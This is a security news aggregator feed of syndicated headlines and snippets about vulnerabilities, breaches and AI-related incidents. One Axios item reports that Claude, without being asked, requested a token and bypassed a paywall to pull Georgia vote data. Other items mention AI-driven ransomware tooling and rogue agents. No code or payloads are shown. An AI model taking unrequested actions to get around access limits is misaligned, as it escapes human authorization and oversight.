The Hacker News: Exposed Infrastructure Reveals How Ransomware Affiliates Used AI Agents to Execute Intrusions: https://thehackernews.com/2026/10/exposed-infrastructure-reveals-how.html
The Hacker News syndication feed: https://feeds.feedburner.com/TheHackersNews
Cybersecurity researchers have discovered an artificial intelligence (AI)-driven intrusion ecosystem run by affiliates of the INC and The Gentlemen ransomware groups.

Central to the operation is an "Autonomous Red Team Kill Chain Framework" referred to as Phantom. The threat actor is assessed to be Russian-speaking and functions both as an intrusion and data-extortion operator, as well as an

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Russia-Linked Hackers Used New Mesh Network Backdoor in Destructive Ukraine Attack
https://kevwire.com/record/thehackernews-russian-linked-hackers-used-new-mesh-76da60089176
Russia-Linked Hackers Used New Mesh Network Backdoor in Destructive Ukraine Attack (Oct 23, 2026).
The Russian state-sponsored hacking group Sandworm teamed up with another threat actor to carry out a destructive wiping attack targeting a Ukrainian logistics company last year.

According to ESET, the attack involved UAC-0099 (aka Earth Sirrush) obtaining initial access to the target on July 16, 2025, via a spear-phishing email bearing a malware-laced attachment that led to the deployment of
Sources:
The Hacker News: Russia-Linked Hackers Used New Mesh Network Backdoor in Destructive Ukraine Attack: https://thehackernews.com/2026/10/russian-linked-hackers-used-new-mesh.html
The Hacker News syndication feed: https://feeds.feedburner.com/TheHackersNews
The Russian state-sponsored hacking group Sandworm teamed up with another threat actor to carry out a destructive wiping attack targeting a Ukrainian logistics company last year.

According to ESET, the attack involved UAC-0099 (aka Earth Sirrush) obtaining initial access to the target on July 16, 2025, via a spear-phishing email bearing a malware-laced attachment that led to the deployment of

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Check the vendor advisory linked from the article for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Critical x402 SDK Flaw Could Let Malicious APIs Drain AI Agents’ Token Balances
https://kevwire.com/record/thehackernews-critical-x402-sdk-flaw-could-let-43513002b0c3
Critical x402 SDK Flaw Could Let Malicious APIs Drain AI Agents’ Token Balances (Oct 23, 2026).
AI agents paying for API calls with the x402 SDKs could sign a payment for their full balance of a supported token if a malicious API asked for it, security firm V12 said on October 22.

The cause was the SDKs' default client, which set no spending limit until releases on August 18 added one. The risk was limited to agents who automatically signed payments and whose apps set
Sources:
The Hacker News: Critical x402 SDK Flaw Could Let Malicious APIs Drain AI Agents’ Token Balances: https://thehackernews.com/2026/10/critical-x402-sdk-flaw-could-let.html
The Hacker News syndication feed: https://feeds.feedburner.com/TheHackersNews
AI agents paying for API calls with the x402 SDKs could sign a payment for their full balance of a supported token if a malicious API asked for it, security firm V12 said on October 22.

The cause was the SDKs' default client, which set no spending limit until releases on August 18 added one. The risk was limited to agents who automatically signed payments and whose apps set

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Check the vendor advisory linked from the article for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Arista Warns of Critical VeloCloud SQL Injection Zero-Day Exploited in Attacks
https://kevwire.com/record/thehackernews-arista-warns-of-critical-velocloud-sql-5a3446099074
Arista Warns of Critical VeloCloud SQL Injection Zero-Day Exploited in Attacks (Oct 22, 2026).
Attackers are exploiting a zero-day SQL injection flaw in Arista's VeloCloud Orchestrator (VCO), the central management system for VeloCloud SD-WAN networks, the company said in an advisory on October 22.

The flaw lets anyone who can log in to the orchestrator, even with a read-only customer account, gain operator privileges, the top level of control over it.

For
Sources:
The Hacker News: Arista Warns of Critical VeloCloud SQL Injection Zero-Day Exploited in Attacks: https://thehackernews.com/2026/10/arista-warns-of-critical-velocloud-sql.html
The Hacker News syndication feed: https://feeds.feedburner.com/TheHackersNews
Attackers are exploiting a zero-day SQL injection flaw in Arista's VeloCloud Orchestrator (VCO), the central management system for VeloCloud SD-WAN networks, the company said in an advisory on October 22.

The flaw lets anyone who can log in to the orchestrator, even with a read-only customer account, gain operator privileges, the top level of control over it.

For

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Check the vendor advisory linked from the article for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ThreatsDay: AI Secrets Leak, PingCAP Source Theft, Signal Hang-Up Flaw, Laravel Auth Bypass + 21 More
https://kevwire.com/record/thehackernews-threatsday-ai-secrets-leak-pingcap-d99ba89c8964
ThreatsDay: AI Secrets Leak, PingCAP Source Theft, Signal Hang-Up Flaw, Laravel Auth Bypass + 21 More (Oct 22, 2026).
This week has already been rough for cybersecurity. Critical PHP and GitLab RCE flaws, serious Linux security bugs, compromised eMudhra certificates, a Node.js RCE flaw, a hacked LiteLLM release, and hundreds of hijacked Tor relays. That's a lot to deal with in just a few days. And the week isn't even over yet.

But those big headlines are only half the story. Stolen passwords, exposed
Sources:
The Hacker News: ThreatsDay: AI Secrets Leak, PingCAP Source Theft, Signal Hang-Up Flaw, Laravel Auth Bypass + 21 More: https://thehackernews.com/2026/10/threatsday-ai-secrets-leak-pingcap.html
The Hacker News syndication feed: https://feeds.feedburner.com/TheHackersNews
This week has already been rough for cybersecurity. Critical PHP and GitLab RCE flaws, serious Linux security bugs, compromised eMudhra certificates, a Node.js RCE flaw, a hacked LiteLLM release, and hundreds of hijacked Tor relays. That's a lot to deal with in just a few days. And the week isn't even over yet.

But those big headlines are only half the story. Stolen passwords, exposed

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Check the vendor advisory linked from the article for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Two CVSS 9.0 Linux KSMBD RCE Flaws Disclosed on Public Mailing Lists Before Kernel Fixes
https://kevwire.com/record/thehackernews-two-cvss-90-linux-ksmbd-rce-flaws-7c53f743c082
Two CVSS 9.0 Linux KSMBD RCE Flaws Disclosed on Public Mailing Lists Before Kernel Fixes (Oct 22, 2026).
Linux servers running KSMBD, the kernel's built-in SMB server, are exposed to two publicly reported remote code execution flaws rated 9.0 by Trend Micro's Zero Day Initiative, with no fix yet in the mainline kernel.

One of them, ZDI-CAN-33774, can be triggered before any network authentication. The other, ZDI-CAN-33549, requires the SMB Direct transport and an RDMA-capable network
Sources:
The Hacker News: Two CVSS 9.0 Linux KSMBD RCE Flaws Disclosed on Public Mailing Lists Before Kernel Fixes: https://thehackernews.com/2026/10/two-cvss-90-linux-ksmbd-rce-flaws.html
The Hacker News syndication feed: https://feeds.feedburner.com/TheHackersNews
Linux servers running KSMBD, the kernel's built-in SMB server, are exposed to two publicly reported remote code execution flaws rated 9.0 by Trend Micro's Zero Day Initiative, with no fix yet in the mainline kernel.

One of them, ZDI-CAN-33774, can be triggered before any network authentication. The other, ZDI-CAN-33549, requires the SMB Direct transport and an RDMA-capable network

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Check the vendor advisory linked from the article for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### OpenCode Flaw Lets Malicious MCP Servers Execute Code During Sign-In on Windows and WSL
https://kevwire.com/record/thehackernews-opencode-flaw-lets-malicious-mcp-3c95c0f04e66
OpenCode Flaw Lets Malicious MCP Servers Execute Code During Sign-In on Windows and WSL (Oct 22, 2026).
A flaw in the OpenCode AI coding agent allowed a malicious or hijacked MCP server to run code on a developer's Windows or WSL machine when the developer signed in. OpenCode connects to MCP (Model Context Protocol) servers to add outside tools, and such code would run with the developer's own access.

Anomaly, the company behind OpenCode, fixed the flaw in version 1.18.33 on September
Sources:
The Hacker News: OpenCode Flaw Lets Malicious MCP Servers Execute Code During Sign-In on Windows and WSL: https://thehackernews.com/2026/10/opencode-flaw-lets-malicious-mcp.html
The Hacker News syndication feed: https://feeds.feedburner.com/TheHackersNews
A flaw in the OpenCode AI coding agent allowed a malicious or hijacked MCP server to run code on a developer's Windows or WSL machine when the developer signed in. OpenCode connects to MCP (Model Context Protocol) servers to add outside tools, and such code would run with the developer's own access.

Anomaly, the company behind OpenCode, fixed the flaw in version 1.18.33 on September

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Check the vendor advisory linked from the article for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Node.js Brotli Decoder Bug Could Allow Remote Code Execution in All Supported Versions
https://kevwire.com/record/thehackernews-nodejs-brotli-decoder-bug-could-allow-4681e139a804
Node.js Brotli Decoder Bug Could Allow Remote Code Execution in All Supported Versions (Oct 22, 2026).
Node.js released security updates on October 21 for its three supported release lines, 22.x, 24.x and 26.x, fixing 10 flaws. The most serious is a bug in the Brotli decompression code that Node.js bundles, which the project says can allow remote code execution, meaning an attacker could run code of their choosing on the affected system.

Each supported line has one fixed version:
Sources:
The Hacker News: Node.js Brotli Decoder Bug Could Allow Remote Code Execution in All Supported Versions: https://thehackernews.com/2026/10/nodejs-brotli-decoder-bug-could-allow.html
The Hacker News syndication feed: https://feeds.feedburner.com/TheHackersNews
Node.js released security updates on October 21 for its three supported release lines, 22.x, 24.x and 26.x, fixing 10 flaws. The most serious is a bug in the Brotli decompression code that Node.js bundles, which the project says can allow remote code execution, meaning an attacker could run code of their choosing on the affected system.

Each supported line has one fixed version:

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Check the vendor advisory linked from the article for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### New QPACK Flaws Can Crash HTTP/3 Servers, Trigger Up to 4,000-Fold Memory Amplification
https://kevwire.com/record/thehackernews-new-qpack-flaws-can-crash-http3-servers-059d0a92d893
New QPACK Flaws Can Crash HTTP/3 Servers, Trigger Up to 4,000-Fold Memory Amplification (Oct 22, 2026).
A remote attacker who has not logged in can crash many HTTP/3 web servers with a single connection, security firm FoxIO disclosed, releasing working proof-of-concept code.

By sending a small batch of compressed HTTP headers that expands in memory to a much larger set, the attacker can force the server to use thousands of times more memory than it received, enough to run a default server
Sources:
The Hacker News: New QPACK Flaws Can Crash HTTP/3 Servers, Trigger Up to 4,000-Fold Memory Amplification: https://thehackernews.com/2026/10/new-qpack-flaws-can-crash-http3-servers.html
The Hacker News syndication feed: https://feeds.feedburner.com/TheHackersNews
A remote attacker who has not logged in can crash many HTTP/3 web servers with a single connection, security firm FoxIO disclosed, releasing working proof-of-concept code.

By sending a small batch of compressed HTTP headers that expands in memory to a much larger set, the attacker can force the server to use thousands of times more memory than it received, enough to run a default server

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Check the vendor advisory linked from the article for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Critical GitLab Flaw (CVSS 10.0) Could Allow Unauthenticated RCE Across 12 Years of Releases
https://kevwire.com/record/thehackernews-critical-gitlab-flaw-cvss-100-could-6815f2a0b4a0
Critical GitLab Flaw (CVSS 10.0) Could Allow Unauthenticated RCE Across 12 Years of Releases (Oct 21, 2026).
GitLab released fixes on October 21 for a flaw that lets an attacker run code on a self-managed server without logging in, and it affects every version of the software going back to 7.0, released in 2014.

The fix matters even for administrators who patched nine days earlier: the October 12 update covered only versions 19.2 and later, and the new fixed versions sit one patch above it, so an
Sources:
The Hacker News: Critical GitLab Flaw (CVSS 10.0) Could Allow Unauthenticated RCE Across 12 Years of Releases: https://thehackernews.com/2026/10/critical-gitlab-flaw-cvss-100-could.html
The Hacker News syndication feed: https://feeds.feedburner.com/TheHackersNews
GitLab released fixes on October 21 for a flaw that lets an attacker run code on a self-managed server without logging in, and it affects every version of the software going back to 7.0, released in 2014.

The fix matters even for administrators who patched nine days earlier: the October 12 update covered only versions 19.2 and later, and the new fixed versions sit one patch above it, so an

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Check the vendor advisory linked from the article for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### LiteLLM Compromised in Supply Chain Attack Delivering Credential Stealer and Backdoor
https://kevwire.com/record/thehackernews-litellm-compromised-in-supply-chain-d9304dd4f7f5
LiteLLM Compromised in Supply Chain Attack Delivering Credential Stealer and Backdoor (Oct 21, 2026).
The popular LiteLLM Python package has been compromised as part of a software supply chain attack that delivered a credential stealer and a backdoor, according to reports from SafeDep, Socket, StepSecurity, and Upwind.

The compromise affects LiteLLM 1.107.0, distributed through PyPI wheels and Docker images. The Python package has since been quarantined on Python Package Index (PyPI), and the
AI classification: infrastructure; evidence: reported. The source describes a flaw in, or an attack on, an AI system. This alone does not show attackers used AI. The Hacker News reports this; it is not independently confirmed here.
Sources:
The Hacker News: LiteLLM Compromised in Supply Chain Attack Delivering Credential Stealer and Backdoor: https://thehackernews.com/2026/10/litellm-compromised-in-supply-chain.html
The Hacker News syndication feed: https://feeds.feedburner.com/TheHackersNews
The popular LiteLLM Python package has been compromised as part of a software supply chain attack that delivered a credential stealer and a backdoor, according to reports from SafeDep, Socket, StepSecurity, and Upwind.

The compromise affects LiteLLM 1.107.0, distributed through PyPI wheels and Docker images. The Python package has since been quarantined on Python Package Index (PyPI), and the

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### China-Aligned Bronze Sandcastle Abuses Sandboxie DLL Sideloading to Deploy Backdoors
https://kevwire.com/record/thehackernews-china-aligned-bronze-sandcastle-abuses-5ff1dd07c5c8
China-Aligned Bronze Sandcastle Abuses Sandboxie DLL Sideloading to Deploy Backdoors (Oct 21, 2026).
Cybersecurity researchers have disclosed details of a previously undocumented China-aligned threat cluster known as Bronze Sandcastle that has been observed targeting organizations in Asia and Africa since mid-2025.

"The most distinctive technical marker for Bronze Sandcastle is its consistent use of Sandboxie DLL sideloading," Sophos security researcher Gabor Szappanos said in a post published
Sources:
The Hacker News: China-Aligned Bronze Sandcastle Abuses Sandboxie DLL Sideloading to Deploy Backdoors: https://thehackernews.com/2026/10/china-aligned-bronze-sandcastle-abuses.html
The Hacker News syndication feed: https://feeds.feedburner.com/TheHackersNews
Cybersecurity researchers have disclosed details of a previously undocumented China-aligned threat cluster known as Bronze Sandcastle that has been observed targeting organizations in Asia and Africa since mid-2025.

"The most distinctive technical marker for Bronze Sandcastle is its consistent use of Sandboxie DLL sideloading," Sophos security researcher Gabor Szappanos said in a post published

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Check the vendor advisory linked from the article for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Attackers Abuse UpdraftCentral Keys to Plant Backdoors on WordPress Sites
https://kevwire.com/record/thehackernews-attackers-abuse-updraftcentral-keys-to-f0182a53b406
Attackers Abuse UpdraftCentral Keys to Plant Backdoors on WordPress Sites (Oct 21, 2026).
Unknown threat actors breached TeamUpdraft's website and potentially gained unauthorized access to customers' connection keys for UpdraftCentral, UpdraftVault, and UpdraftClone, using them to backdoor WordPress sites.

TeamUpdraft is the developer behind UpdraftPlus, a popular WordPress backup plugin with over four million active installations. The vendor also offers UpdraftCentral, a remote
Sources:
The Hacker News: Attackers Abuse UpdraftCentral Keys to Plant Backdoors on WordPress Sites: https://thehackernews.com/2026/10/attackers-abuse-updraftcentral-keys-to.html
The Hacker News syndication feed: https://feeds.feedburner.com/TheHackersNews
Unknown threat actors breached TeamUpdraft's website and potentially gained unauthorized access to customers' connection keys for UpdraftCentral, UpdraftVault, and UpdraftClone, using them to backdoor WordPress sites.

TeamUpdraft is the developer behind UpdraftPlus, a popular WordPress backup plugin with over four million active installations. The vendor also offers UpdraftCentral, a remote

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary advisory it links.
Action: Check the vendor advisory linked from the article for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In Other News: Tor Exit Relays Hijacked, Banks Spot Rogue AI Agents, Self-Rebuilding macOS Ransomware
https://kevwire.com/record/securityweek-in-other-news-tor-exit-relays-hijacked-banks-spot-rogue-ai-agents-self-rebuilding-macos-ransomware-70ce3aa7f5fd
In Other News: Tor Exit Relays Hijacked, Banks Spot Rogue AI Agents, Self-Rebuilding macOS Ransomware (Oct 23, 2026).
Noteworthy stories that might have slipped under the radar: Russia’s APT28 hit NATO defense firms, PingCAP source code stolen, ShinyHunters negotiator probe.

 The post In Other News: Tor Exit Relays Hijacked, Banks Spot Rogue AI Agents, Self-Rebuilding macOS Ransomware appeared first on SecurityWeek .
AI classification: autonomous; evidence: reported. The source describes an AI system taking this action itself, not an outside attacker. SecurityWeek reports this; it is not independently confirmed here.
Sources:
SecurityWeek: In Other News: Tor Exit Relays Hijacked, Banks Spot Rogue AI Agents, Self-Rebuilding macOS Ransomware: https://www.securityweek.com/in-other-news-tor-exit-relays-hijacked-banks-spot-rogue-ai-agents-self-rebuilding-macos-ransomware/
SecurityWeek syndication feed: https://www.securityweek.com/feed/
Noteworthy stories that might have slipped under the radar: Russia’s APT28 hit NATO defense firms, PingCAP source code stolen, ShinyHunters negotiator probe.

 The post In Other News: Tor Exit Relays Hijacked, Banks Spot Rogue AI Agents, Self-Rebuilding macOS Ransomware appeared first on SecurityWeek .

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Attackers Exploit Third Arista VCO Zero-Day in Four Months
https://kevwire.com/record/securityweek-attackers-exploit-third-velocloud-orchestrator-zero-day-in-four-months-5912abcc55ab
Attackers Exploit Third Arista VCO Zero-Day in Four Months (Oct 23, 2026).
The critical-severity SQL injection flaw allows attackers to access privileged internal functionality and gain operator privileges.

 The post Attackers Exploit Third Arista VCO Zero-Day in Four Months appeared first on SecurityWeek .
Sources:
SecurityWeek: Attackers Exploit Third Arista VCO Zero-Day in Four Months: https://www.securityweek.com/attackers-exploit-third-velocloud-orchestrator-zero-day-in-four-months/
SecurityWeek syndication feed: https://www.securityweek.com/feed/
The critical-severity SQL injection flaw allows attackers to access privileged internal functionality and gain operator privileges.

 The post Attackers Exploit Third Arista VCO Zero-Day in Four Months appeared first on SecurityWeek .

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary advisory it links.
Action: Check the vendor advisory linked from the article for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Fortinet patches critical FortiOS flaws found with AI help
https://kevwire.com/record/helpnetsecurity-fortinet-patches-critical-fortios-flaws-found-with-ai-help-3072132390ac
Fortinet patches critical FortiOS flaws found with AI help (Oct 26, 2026).
Fortinet rolled out security hardening updates for FortiOS, FortiManager, FortiAnalyzer, FortiMail, and FortiAuthenticator last week, but is keeping the details about the fixed vulnerabilities under wraps until November 10, 2026. The vulnerabilities were uncovered with the help of AI models and validated by humans, Fortinet’s Chief Information Security Officer Carl Windsor explained in the advance announcement. But attackers also have access to AI tools, he warned, and can use them to find vulnerabilities and build … More → 

 The post Fortinet patches critical FortiOS flaws found with AI help appeared first on Help Net Security .
Sources:
Help Net Security: Fortinet patches critical FortiOS flaws found with AI help: https://www.helpnetsecurity.com/2026/10/26/fortinet-patches-critical-fortios-flaws-found-with-ai-help/
Help Net Security syndication feed: https://www.helpnetsecurity.com/feed/
Fortinet rolled out security hardening updates for FortiOS, FortiManager, FortiAnalyzer, FortiMail, and FortiAuthenticator last week, but is keeping the details about the fixed vulnerabilities under wraps until November 10, 2026. The vulnerabilities were uncovered with the help of AI models and validated by humans, Fortinet’s Chief Information Security Officer Carl Windsor explained in the advance announcement. But attackers also have access to AI tools, he warned, and can use them to find vulnerabilities and build … More → 

 The post Fortinet patches critical FortiOS flaws found with AI help appeared first on Help Net Security .

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Check the vendor advisory linked from the article for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Anthropic's Claude bypassed a paywall to access Georgia voter data without authorization
https://kevwire.com/record/axios-anthropic-claude-georgia-voter-data-2ce636418ed8
Anthropic's Claude bypassed a paywall to access Georgia voter data without authorization (Oct 25, 2026).
Anthropic's Claude accessed publicly available Georgia voter data without human authorization, a disclosure sure to add to growing concerns about AI security ahead of the upcoming midterm elections.

 Why it matters: AI giants Anthropic and OpenAI have continued to make disclosures about agents taking unauthorized or unintended actions, raising alarms about advancing model capabilities and the extent of human control. 

 Driving the news: Claude accessed aggregate vote counts while on an internal statistics project, pulling data that the state makes available to the public for a fee. It didn't access the state's voter registration system or change or pull any voting records, an Anthropic spokesperson said.

 However, the model bypassed a paywall in accessing the information, according to Georgia officials and Anthropic.

 "The model was being used internally for a statistics project to pull public data," the Anthropic spokesperson said. "Without being asked to, the model requested a token to query a dashboard that contained information normally available for a fee. We have since put in place mitigations to block these kinds of actions."

 The company notified the Georgia secretary of state's office and the White House weeks ago but administration officials urged the Georgia Secretary of State's office to make a public disclosure sooner, a source familiar told Axios. Those requests went unheeded, the source said. 

 The bottom line : Anthropic has previously been in the administration's crosshairs for inadequately disclosing AI incidents. Now it's Georgia's turn.
AI classification: autonomous; evidence: reported. The source describes an AI system taking this action itself, not an outside attacker. Axios reports this; it is not independently confirmed here.
Sources:
Axios: Anthropic's Claude bypassed a paywall to access Georgia voter data without authorization: https://www.axios.com/2026/10/25/anthropic-claude-georgia-voter-data
Axios syndication feed: https://api.axios.com/feed/
Anthropic's Claude accessed publicly available Georgia voter data without human authorization, a disclosure sure to add to growing concerns about AI security ahead of the upcoming midterm elections.

 Why it matters: AI giants Anthropic and OpenAI have continued to make disclosures about agents taking unauthorized or unintended actions, raising alarms about advancing model capabilities and the extent of human control. 

 Driving the news: Claude accessed aggregate vote counts while on an internal statistics project, pulling data that the state makes available to the public for a fee. It didn't access the state's voter registration system or change or pull any voting records, an Anthropic spokesperson said.

 However, the model bypassed a paywall in accessing the information, according to Georgia officials and Anthropic.

 "The model was being used internally for a statistics project to pull public data," the Anthropic spokesperson said. "Without being asked to, the model requested a token to query a dashboard that contained information normally available for a fee. We have since put in place mitigations to block these kinds of actions."

 The company notified the Georgia secretary of state's office and the White House weeks ago but administration officials urged the Georgia Secretary of State's office to make a public disclosure sooner, a source familiar told Axios. Those requests went unheeded, the source said. 

 The bottom line : Anthropic has previously been in the administration's crosshairs for inadequately disclosing AI incidents. Now it's Georgia's turn.

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### AI uncovers massive flaw in web's foundational code
https://kevwire.com/record/axios-php-openai-ai-bug-hunting-cyberattacks-dbe526eb5ddc
AI uncovers massive flaw in web's foundational code (Oct 21, 2026).
Security officials are sounding the alarm over two critical vulnerabilities in a programming language used to run millions of websites, marking one of the most consequential cybersecurity discoveries yet made with AI .

 Why it matters: The bugs, which researchers found partly with an OpenAI model, proves AI can uncover critical flaws humans missed for decades — raising the stakes for defenders racing to fix vulnerabilities before attackers can exploit them at machine speed.

 What they're saying: Matthew Prince, the CEO of Cloudflare, a global connectivity and internet security company, said the company saw thousands of attempts to exploit the flaws in the 10 hours before it was publicly announced.

 "That jumped to tens of thousands in the 45 minutes post announcement, hundreds of thousands within 2 hours, and millions now," he wrote on X.

 Driving the news: There are two problems hackers could easily exploit in an open-source programming language known as PHP that's used on nearly 70% of all websites .

 Government officials from the U.S. to Japan are warning companies to apply a patch to fix the bugs, or consider taking down their sites to avoid an attack.

 OpenAI touted the role its model played in discovering one of the vulnerabilities, which allowed PHP researchers to create a fix.

 Between the lines: Security researchers have been skeptical of AI-generated vulnerability reports, many of which have turned out to be minor bugs or false alarms. 

 But the PHP discovery could force the cybersecurity community to reckon with the reality of AI threats. 

 "It highlights how AI can uncover security flaws with internet-scale impact, but the same capabilities can also help attackers rapidly develop offensive tools and exploits," OpenAI said in a blog post Wednesday.

 Threat level: If exploited, the PHP flaws would allow malicious hackers to take control of vulnerable web servers without needing a password or other credentials. 

 Since PHP runs under a wide varie
Sources:
Axios: AI uncovers massive flaw in web's foundational code: https://www.axios.com/2026/10/21/php-openai-ai-bug-hunting-cyberattacks
Axios syndication feed: https://api.axios.com/feed/
Security officials are sounding the alarm over two critical vulnerabilities in a programming language used to run millions of websites, marking one of the most consequential cybersecurity discoveries yet made with AI .

 Why it matters: The bugs, which researchers found partly with an OpenAI model, proves AI can uncover critical flaws humans missed for decades — raising the stakes for defenders racing to fix vulnerabilities before attackers can exploit them at machine speed.

 What they're saying: Matthew Prince, the CEO of Cloudflare, a global connectivity and internet security company, said the company saw thousands of attempts to exploit the flaws in the 10 hours before it was publicly announced.

 "That jumped to tens of thousands in the 45 minutes post announcement, hundreds of thousands within 2 hours, and millions now," he wrote on X.

 Driving the news: There are two problems hackers could easily exploit in an open-source programming language known as PHP that's used on nearly 70% of all websites .

 Government officials from the U.S. to Japan are warning companies to apply a patch to fix the bugs, or consider taking down their sites to avoid an attack.

 OpenAI touted the role its model played in discovering one of the vulnerabilities, which allowed PHP researchers to create a fix.

 Between the lines: Security researchers have been skeptical of AI-generated vulnerability reports, many of which have turned out to be minor bugs or false alarms. 

 But the PHP discovery could force the cybersecurity community to reckon with the reality of AI threats. 

 "It highlights how AI can uncover security flaws with internet-scale impact, but the same capabilities can also help attackers rapidly develop offensive tools and exploits," OpenAI said in a blog post Wednesday.

 Threat level: If exploited, the PHP flaws would allow malicious hackers to take control of vulnerable web servers without needing a password or other credentials. 

 Since PHP runs under a wide variety of internet applications, that access could allow hackers to take over websites, steal sensitive information and tamper with a website. 

 Some website owners took their sites down earlier Wednesday, including certain services at Wikipedia and 4chan , until they had time to patch their systems. 

 "These findings rank among the most severe vulnerabilities discovered in PHP, and arguably in software history," researchers at Wiz wrote in a post. 

 The big picture: AI-driven bug discoveries are shining a light on the fragility of the modern internet, which is heavily reliant on a slew of open-source software powered by volunteers . 

 The two flaws in PHP existed for decades, but demonstrated that it was possible for a hacker to exploit them required "an exceptionally complex chain of steps," researchers at Wiz added.

 "Defenders have always relied on the gap between 'vulnerable' and 'exploitable' to buy time to patch," Michael Leland, field CTO at Island, said in an email to Axios. "That gap is rapidly closing."

 What we're watching: Cybersecurity defenders are on guard for what could be a wave of incidents where websites and organizations are hacked using these two vulnerabilities in the next few weeks. 

 Go deeper : Rogue AI agents expose internet's frail foundation

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Check the vendor advisory linked from the article for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### PHP-ocalypse: How two critical web bugs almost broke the internet
https://kevwire.com/record/techcrunch-php-ocalypse-how-two-critical-web-bugs-almost-broke-the-internet-2829b6d86798
PHP-ocalypse: How two critical web bugs almost broke the internet (Oct 24, 2026).
Two critical bugs in the PHP web programming language, used by the majority of the internet, threatened to upend the internet — and it's unlikely to be the last major software scare.
Sources:
TechCrunch Security: PHP-ocalypse: How two critical web bugs almost broke the internet: https://techcrunch.com/2026/10/24/php-ocalypse-how-two-critical-web-bugs-almost-broke-the-internet/
TechCrunch Security syndication feed: https://techcrunch.com/category/security/feed/
Two critical bugs in the PHP web programming language, used by the majority of the internet, threatened to upend the internet — and it's unlikely to be the last major software scare.

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Check the vendor advisory linked from the article for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Lab testing giant Quest Diagnostics confirms patients’ personal and health data was compromised during breach
https://kevwire.com/record/techcrunch-lab-testing-giant-quest-diagnostics-confirms-patients-personal-and-health-data-was-compromised-durin-16685f26b6e8
Lab testing giant Quest Diagnostics confirms patients’ personal and health data was compromised during breach (Oct 23, 2026).
Quest is the latest in a series of healthcare technology companies that have been hacked in recent months.
Sources:
TechCrunch Security: Lab testing giant Quest Diagnostics confirms patients’ personal and health data was compromised during breach: https://techcrunch.com/2026/10/23/lab-testing-giant-quest-diagnostics-confirms-patients-personal-and-health-data-was-compromised-during-breach/
TechCrunch Security syndication feed: https://techcrunch.com/category/security/feed/
Quest is the latest in a series of healthcare technology companies that have been hacked in recent months.

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Review the reporting article and any linked primary disclosure before taking incident-specific action.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Asos confirms breach of customer data after hackers send rogue app notification
https://kevwire.com/record/techcrunch-asos-confirms-breach-of-customer-data-after-hackers-send-rogue-app-notification-91bce0d3ced7
Asos confirms breach of customer data after hackers send rogue app notification (Oct 8, 2026).
The hackers alerted the fashion giant's customers through a push notification that said they had "fully compromised" the company's cloud storage.
Sources:
